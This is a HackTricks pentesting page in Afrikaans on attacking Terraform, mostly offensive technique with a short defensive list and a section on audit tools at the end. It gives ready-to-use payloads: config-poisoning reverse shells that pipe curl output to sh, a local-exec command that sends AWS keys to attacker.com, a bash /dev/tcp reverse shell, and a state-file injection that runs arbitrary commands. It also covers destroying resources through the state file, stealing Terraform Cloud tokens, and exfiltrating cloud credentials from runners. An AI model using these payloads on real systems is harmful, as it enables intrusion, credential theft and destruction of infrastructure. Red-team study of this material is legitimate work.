Terraform Sekuriteit

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Vanaf die dokumentasie:

HashiCorp Terraform is ’n infrastructure as code tool wat jou toelaat om beide cloud- en on-prem hulpbronne in mensleesbare konfigurasielĂȘers te definieer wat jy kan weergawebeheer, hergebruik en deel. Jy kan dan ’n konsekwente werkvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan laevlak-komponente soos rekenaar-, stoor- en netwerkhulpbronne bestuur, sowel as hoĂ«vlak-komponente soos DNS-insette en SaaS-funksies.

Hoe werk Terraform?

Terraform skep en bestuur hulpbronne op cloud-platforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (APIs). Providers maak dit moontlik dat Terraform met feitlik enige platform of diens met ’n toeganklike API kan werk.

HashiCorp en die Terraform-gemeenskap het reeds meer as 1700 providers geskryf om duisende verskillende tipes hulpbronne en dienste te bestuur, en hierdie getal groei voortdurend. Jy kan alle publiek beskikbare providers vind op die Terraform Registry, insluitend Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, en vele meer.

Die kern Terraform-werkvloei bestaan uit drie fases:

  • Write: Jy definieer hulpbronne, wat oor verskeie cloud providers en dienste kan versprei. Byvoorbeeld, jy kan ’n konfigurasie skep om ’n toepassing op virtual machines in ’n Virtual Private Cloud (VPC)-netwerk met security groups en ’n load balancer te ontplooi.
  • Plan: Terraform skep ’n uitvoeringsplan wat beskryf watter infrastruktuur dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.
  • Apply: By goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, met inagneming van hulpbronafhanklikhede. Byvoorbeeld, as jy die eienskappe van ’n VPC opdateer en die aantal virtual machines in daardie VPC verander, sal Terraform eers die VPC herbou voordat dit die virtual machines skaal.

Terraform-lab

Installeer net Terraform op jou rekenaar.

Hier is ’n gids en hier is die beste manier om terraform af te laai.

RCE in Terraform: config file poisoning

Terraform het nie ’n platform wat ’n webblad of ’n netwerkdiens blootstel nie, dus is die enigste manier om terraform te kompromitteer om by te voeg/wysig terraform konfigurasielĂȘers of om die terraform state-lĂȘer te kan wysig (sien hoofstuk hieronder).

Nietemin is terraform ’n baie sensitiewe komponent om te kompromitteer aangezien dit bevoorregte toegang tot verskillende plekke sal hĂȘ sodat dit behoorlik kan werk.

Die hoofweg vir ’n aanvaller om die stelsel waar terraform loop te kompromitteer, is om die repository wat terraform-konfigurasies stoor te kompromitteer, omdat hierdie konfigurasies uiteindelik geïnterpreteer gaan word.

Daar bestaan werklik oplossings wat terraform plan/apply outomaties uitvoer na ’n PR geskep is, soos Atlantis:

Atlantis Security

As jy ’n terraform-lĂȘer kan kompromitteer, is daar verskillende maniere waarop jy RCE kan uitvoer wanneer iemand terraform plan of terraform apply uitgevoer het.

Terraform plan

Terraform plan is die mees gebruikte command in terraform en ontwikkelaars/oplossings wat terraform gebruik roep dit deurlopend aan, so die maaklikste manier om RCE te kry is om seker te maak jy poison ’n terraform config file wat arbitrĂȘre opdragte in ’n terraform plan sal uitvoer.

Using an external provider

Terraform bied die external provider wat ’n manier verskaf om ’n koppelvlak tussen Terraform en eksterne programme te hĂȘ. Jy kan die external data source gebruik om arbitrĂȘre kode tydens ’n plan te laat loop.

Indien jy iets soos die volgende in ’n terraform config file invoeg, sal dit ’n rev shell uitvoer wanneer terraform plan uitgevoer word:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Gebruik van ’n custom provider

’n aanvaller kan ’n custom provider na die Terraform Registry stuur en dit dan by die Terraform-kode in ’n feature branch voeg (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Die provider word afgelaai in die init en sal die kwaadaardige kode uitvoer wanneer plan uitgevoer word

Jy kan ’n voorbeeld vind by https://github.com/rung/terraform-provider-cmdexec

Gebruik ’n eksterne verwysing

Albei genoemde opsies is nuttig, maar nie baie heimlik nie (die tweede is meer heimlik, maar ook meer kompleks as die eerste). Jy kan hierdie aanval selfs op ’n meer heimlike wyse uitvoer deur die volgende voorstelle te volg:

  • In plaas daarvan om die rev shell direk in die terraform file by te voeg, kan jy ’n eksterne resource laai wat die rev shell bevat:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Jy kan die rev shell code vind in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • In die eksterne bron, gebruik die ref-funksie om die terraform rev shell code in a branch binne die repo weg te steek, iets soos: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply sal uitgevoer word om al die veranderinge toe te pas; jy kan dit ook misbruik om RCE te verkry deur ’n skadelike Terraform-lĂȘer met local-exec.
Jy hoef net seker te maak dat ’n payload soos die volgende in die main.tf-lĂȘer eindig:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Volg die aanbevelings van die vorige tegniek om hierdie aanval op ’n meer diskrete wyse deur eksterne verwysings te gebruik uit te voer.

Secrets Dumps

Jy kan veroorsaak dat geheime waardes wat deur terraform gebruik word, gedump word deur terraform apply uit te voer deur iets soos die volgende by die terraform-lĂȘer te voeg:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Misbruik van Terraform state-lĂȘers

As u skryftoegang het tot terraform state-lĂȘers maar nie die terraform-kode kan verander nie, this research gee ’n paar interessante opsies om van die lĂȘer voordeel te trek. Selfs as u skryftoegang tot die config-lĂȘers sou hĂȘ, is die state-lĂȘer-vektor dikwels baie listiger, aangesien u nie spore in die git-geskiedenis agterlaat nie.

RCE in Terraform: config file poisoning

Dit is moontlik om create a custom provider en net een van die providers in die terraform state-lĂȘer met die kwaadwillige een te vervang, of ’n fake resource by te voeg wat na die kwaadwillige provider verwys.

Die provider statefile-rce bou op die navorsing en gebruik hierdie beginsel as ’n aanvalsinstrument. Jy kan ’n fake resource byvoeg en die willekeurige bash-opdrag wat jy wil uitvoer spesifiseer in die attribuut command. Wanneer die terraform-uitvoering geaktiveer word, sal dit gelees en uitgevoer word in beide die terraform plan- en terraform apply-stappe. By die terraform apply-stap sal terraform die fake resource uit die state-lĂȘer verwyder nadat jou opdrag uitgevoer is, en so self skoonmaak. Meer inligting en ’n volledige demo is te vinde in die GitHub repository hosting the source code for this provider.

Om dit direk te gebruik, sluit net die volgende by enige posisie van die resources-array in en pas die name- en command-attribuut aan:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Dan, sodra terraform uitgevoer word, sal jou kode uitgevoer word.

Hulpbronne verwyder

Daar is 2 maniere om hulpbronne te vernietig:

  1. Voeg ’n hulpbron met ’n ewekansige naam in die state-lĂȘer in wat na die werklike hulpbron wys wat vernietig moet word

Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die aangeduide werklike hulpbron-ID). Voorbeeld van die vorige bladsy:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Wysig die resource om te verwyder op ’n wyse dat dit nie bygewerk kan word nie (sodat dit verwyder en weer geskep sal word)

Vir ’n EC2 instance is dit genoeg om die instance tipe te wysig om terraform te dwing om dit te verwyder en weer te skep.

Vervang ’n swartgelysde provider

In geval jy ’n situasie teĂ«kom waar hashicorp/external op die swartlys was, kan jy die external provider herimplementeer deur die volgende te doen. Let wel: Ons gebruik ’n fork van die external provider gepubliseer by https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan ook jou eie fork of herimplementering publiseer.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Dan kan jy external soos gewoonlik gebruik.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.

  • Voorvereistes:

  • Steel ’n Terraform Cloud token van ’n ontwikkelaar se masjien. Die CLI stoor tokens in plaintext by ~/.terraform.d/credentials.tfrc.json.

  • Die token moet toegang hĂȘ tot die teiken organization/workspace en minstens die plan toestemming. VCS-backed workspaces blokkeer apply vanaf die CLI, maar laat steeds speculative plans toe.

  • Ontdek die workspace en VCS-instellings via die TFC API:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Ontlok kode-uitvoering tydens ‘n speculative plan’ deur die external data source en die Terraform Cloud “cloud” block te gebruik om die VCS-backed workspace te teiken:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Voorbeeld rsync.sh om ’n reverse shell op die TFC runner te kry:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Voer ’n spekulatiewe plan uit om die program op die ephemeral runner uit te voer:

terraform init
terraform plan
  • Enumerate and exfiltrate injected cloud credentials van die runner. Tydens runs, TFC injects provider credentials via files and environment variables:
env | grep -i gcp || true
env | grep -i aws || true

Verwagte lĂȘers in die runner se werkgids:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation JSON-konfigurasie)

  • tfc-gcp-token (kortlopende GCP toegangstoken)

  • AWS:

  • tfc-aws-shared-config (web identity/OIDC rol-aanname-konfigurasie)

  • tfc-aws-token (kortlopende token; sommige organisasies mag statiese sleutels gebruik)

  • Gebruik die kortlopende credentials out-of-band om VCS gates te omseil:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Met hierdie creds kan aanvallers resources direk skep/wysig/verwyder met behulp van native CLIs, en omseil PR-gebaseerde workflows wat apply via VCS blokkeer.

  • Defensive guidance:
  • Pas die beginsel van minste voorregte toe op TFC users/teams en tokens. Audit memberships en vermy oorgrootte owners.
  • Beperk die plan-toestemming op sensitiewe VCS-backed workspaces waar moontlik.
  • Handhaaf provider/data source allowlists met Sentinel-beleide om data "external" of onbekende providers te blokkeer. Sien HashiCorp guidance oor provider filtering.
  • Verkies OIDC/WIF bo statiese cloud credentials; beskou runners as sensitief. Monitor spekulatiewe plan runs en onverwagte egress.
  • Detect exfiltration van tfc-* credential artifacts en waarsku oor verdagte external program gebruik tydens plans.

Kompromittering van Terraform Cloud

Gebruik van ’n token

As explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Om hierdie token te steel laat ’n aanvaller toe om die gebruiker te impersonate binne die token se scope.

Met hierdie token is dit moontlik om die org/workspace te kry met:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Dan is dit moontlik om arbitrĂȘre kode uit te voer met terraform plan soos in die vorige hoofstuk verduidelik.

Ontsnapping na die cloud

As die runner in ’n cloud-omgewing geleĂ« is, is dit moontlik om ’n token van die principal wat aan die runner gekoppel is te bekom en dit out-of-band te gebruik.

  • GCP files (teenwoordig in die huidige run working directory)

  • tfc-google-application-credentials — JSON-konfigurasie vir Workload Identity Federation (WIF) wat Google vertel hoe om die external identity uit te ruil.

  • tfc-gcp-token — kortstondige (≈1 uur) GCP access token wat deur bogenoemde verwys word.

  • AWS files

  • tfc-aws-shared-config — JSON vir web identity federation/OIDC role assumption (preferred bo statiese sleutels).

  • tfc-aws-token — kortstondige token, of moontlik statiese IAM-sleutels indien verkeerd gekonfigureer.

Outomatiese ouditgereedskap

Snyk Infrastructure as Code (IaC)

Snyk bied ’n omvattende Infrastructure as Code (IaC) skanderingsoplossing wat kwesbaarhede en miskonfigurasies in Terraform, CloudFormation, Kubernetes en ander IaC-formate opspoor.

  • Kenmerke:
  • ReĂ«le-tyd skandering vir sekuriteitskwesbaarhede en nakomingsprobleme.
  • Integrasie met weergawebeheerstelsels (GitHub, GitLab, Bitbucket).
  • Outomatiese pull requests met fixes.
  • Gedetailleerde hersteladvies.
  • Registreer: Skep ’n rekening by Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov is ’n statiese kode-analise-instrument vir infrastructure as code (IaC) en ook ’n software composition analysis (SCA) instrument vir images en open source packages.

Dit skandeer cloud-infrastruktuur wat voorsien is met behulp van Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, of OpenTofu en identifiseer sekuriteits- en nakomings-miskonfigurasies deur graf-gebaseerde skandering.

Dit voer Software Composition Analysis (SCA) scanning uit, wat ’n skandering is van open source-pakkette en images vir Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.

  • nakoming: Verseker dat die geĂŻmplementeerde kode sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg
  • gedragsgedrewe ontwikkeling: Ons het BDD vir byna alles; waarom nie vir IaC nie?
  • draagbaar: installeer dit net vanaf pip of voer dit via docker uit. See Installation
  • voor-ontplooiing: dit valideer jou kode voordat dit ontplooi word
  • maklik om te integreer: dit kan in jou pipeline (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word.
  • skeiding van pligte: jy kan jou toetse in ’n ander repository hou waar ’n aparte span verantwoordelik is.

Note

Ongelukkig, as die kode sekere providers gebruik waartoe jy nie toegang het nie, sal jy nie die terraform plan kan uitvoer en hierdie tool kan gebruik nie.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Uit die docs: tfsec gebruik statiese analise van jou terraform-kode om potensiële miskonfigurasies op te spoor.

  • ☁ Kontroleer vir miskonfigurasies oor alle groot (en sommige kleiner) wolkverskaffers
  • ⛔ Honderde ingeboude reĂ«ls
  • đŸȘ† Skandeer modules (lokale en afgeleĂ«)
  • ➕ Evalueer HCL-uitdrukkings sowel as letterlike waardes
  • â†Ș Evalueer Terraform-funksies bv. concat()
  • 🔗 Evalueer verhoudings tussen Terraform-hulpbronne
  • 🧰 Kompatibel met die Terraform CDK
  • 🙅 Pas gebruikersgedefinieerde Rego-beleide toe (en brei dit uit)
  • 📃 Ondersteun verskeie uitvoerformate: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • đŸ› ïž Konfigureerbaar (via CLI-vlajies en/of konfigurasielĂȘer)
  • ⚡ Baie vinnig, in staat om vinnig groot repositories te skandeer
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan is ’n statiese code-ontleder vir Infrastructure as Code. Terrascan stel jou in staat om:

  • Skandeer moeiteloos infrastructure as code vir wankonfigurasies.
  • Monitor voorsienigde cloud infrastructure vir konfigurasiewijzigings wat posture drift inlei, en stel terugkeer na ’n veilige houding in staat.
  • Opspoor security vulnerabilities en compliance-oortredings.
  • Verminder risiko’s voordat cloud native infrastructure voorsien word.
  • Bied fleksibiliteit om plaaslik te loop of te integreer met jou CI\CD.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Vind sekuriteitskwesbaarhede, nakomingsprobleme en infrastruktuur-miskonfigurasies vroeg in die ontwikkelingsiklus van jou infrastructure-as-code met KICS deur Checkmarx.

KICS stands for Keeping Infrastructure as Code Secure, dit is open source en onontbeerlik vir enige cloud native projek.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Volgens die docs: Terrascan is ’n statiese kode-ontleder vir Infrastructure as Code. Terrascan stel jou in staat om:

  • Naatloos Infrastructure as Code op wankonfigurasies te skandeer.
  • Geprovisioneerde cloud-infrastruktuur te bewaak vir konfigurasiewijzigings wat posture drift inlei, en dit moontlik te maak om terug te keer na ’n veilige postuur.
  • Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek.
  • Risiko’s te mitigateer voordat cloud-native infrastruktuur voorsien word.
  • Buigbaarheid te bied om lokaal te loop of met jou CI\CD te integreer.
brew install terrascan

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks